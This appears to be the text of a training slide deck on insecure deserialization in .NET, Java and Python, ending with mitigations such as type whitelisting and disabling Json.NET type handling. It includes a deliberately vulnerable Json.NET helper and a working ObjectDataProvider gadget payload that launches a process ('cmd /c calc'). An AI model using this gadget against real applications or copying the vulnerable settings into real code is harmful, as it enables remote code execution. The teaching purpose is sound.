César Silva <@apl3b/>
Serialization is the process of turning some object into a data format that can be restored later
Deserialization is the process of restore the serialized data
or
Reverse the serialization process
Binary Data
Text
XML
JSON
Custom Binary Formats
Ability to examine, introspect and modify its own structure at runtime
class Test{
private string Name { get; set; }
public string formatName(){
return "My name is :" + this.Name;
}
}
// Reflection
class Main{
public void Main(string[] args){
Object test = Activator.CreateInstance("my.name.space.Test");
var my_function = test.GetType().GetMethod("formatName");
my_function.Invoke(test, null);
}
}
The serializer creates a new object using the default parameter-less constructor and uses setters to populate all the fields
More limited because we can only access public properties
<src = "https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf">
The serializer creates a new object using special constructors to trigger special logic required to initialize an object
Json.Net's [OnError]
.NET's [OnDeserialized]
.NET's [OnDeserializing]
etc
public final class SerializableRenderedImage implements RenderedImage, Serializable {
protected void finalize() throws Throwable {
dispose();
// Triggers the payload when called by the garbage collection
super.finalize();
}
...
}
The serializer creates a new object using the default parameter-less constructor and uses reflection to populate all the fields
Vulnerable on destructors, some reconstructions invocations (i.e.: HashTables) and common calls (toString())
//Newtonsoft.Json.Converters.EntityKeyMemberConverter
public override object ReadJson(JsonReader reader, Type objectType, object existingValue,
JsonSerializer serializer)
{
EntityKeyMemberConverter.EnsureReflectionObject(objectType);
object obj = EntityKeyMemberConverter._reflectionObject.Creator(new object[0]);
EntityKeyMemberConverter.ReadAndAssertProperty(reader, "Key");
reader.ReadAndAssert();
EntityKeyMemberConverter._reflectionObject.SetValue(obj, "Key",
reader.Value.ToString());
EntityKeyMemberConverter.ReadAndAssertProperty(reader, "Type");
reader.ReadAndAssert();
Type type = Type.GetType(reader.Value.ToString());
EntityKeyMemberConverter.ReadAndAssertProperty(reader, "Value");
reader.ReadAndAssert();
EntityKeyMemberConverter._reflectionObject.SetValue(obj, "Value",
serializer.Deserialize(reader, type));
reader.ReadAndAssert();
return obj;
}
using Newtonsoft.Json;
namespace deserialization_training
{
public static class SerializerHelper
{
public static dynamic Deserialize(string json)
{
// Use dynamic to use properties independently from the type
return JsonConvert.DeserializeObject<dynamic>(json,
// Include type information to allow for a more smooth casting and check
new JsonSerializerSettings {
TypeNameHandling = TypeNameHandling.All
});
}
public static string Serialize(dynamic obj) {
return JsonConvert.SerializeObject(obj);
}
}
}
{
'$type':'System.Windows.Data.ObjectDataProvider,\
PresentationFramework,\
Version=4.0.0.0,\
Culture=neutral,\
PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList,\
mscorlib,\
Version=4.0.0.0,\
Culture=neutral,\
PublicKeyToken=b77a5c561934e089',
'$values':['cmd','/c calc']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process,\
System,\
Version=4.0.0.0,\
Culture=neutral,\
PublicKeyToken=b77a5c561934e089'}
}
import java.io.ObjectInputStream;
import java.io.FileInputStream;
import java.io.ObjectOutputStream;
import java.io.FileOutputStream;
import java.io.Serializable;
import java.io.IOException;
public class SerializeExample {
public static void main(String args[]) throws Exception {
VulnerableObject testObj = new VulnerableObject();
testObj.name = "test";
ObjectOutputStream oStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
oStream.writeObject(testObj);
oStream.close();
ObjectInputStream iStream = new ObjectInputStream(new FileInputStream("test.bin"));
VulnerableObject readObj = (VulnerableObject)iStream.readObject();
System.out.println(readObj.name);
iStream.close()
}
}
class VulnerableObject implements Serializable {
public String name;
private void readObject(ObjectInputStream in)
throws IOException, ClassNotFoundException {
in.defaultReadObject();
this.name = "Class_" + this.name;
}
}
0xAC 0xED
rO0
import pickle
class User(object):
def __init__(self, name):
self.name = name
serialized = pickle.dumps(User('Some Username')))
user = pickle.loads(serialized)
using Newtonsoft.Json;
namespace deserialization_training
{
public static class SerializerHelper<T>
{
public static T Deserialize(string json)
{
// Set a type to limit the object's tree
return JsonConvert.DeserializeObject<T>(json,
// Do not use TypeNameHandling. If needed, define a CustomParser
new JsonSerializerSettings {
TypeNameHandling = TypeNameHandling.None
});
}
public static string Serialize(T obj) {
return JsonConvert.SerializeObject(obj);
}
}
}
public class SecureObjectInputStream extends ObjectInputStream {
public SecureObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,
ClassNotFoundException {
if (!desc.getName().equals(VulnerableObject.class.getName())) {
throw new InvalidClassException(
"Unauthorized deserialization attempt",
desc.getName());
}
return super.resolveClass(desc);
}
}
Use a secure module for deserialization
hmac (verify the object's integrity)
write your own parser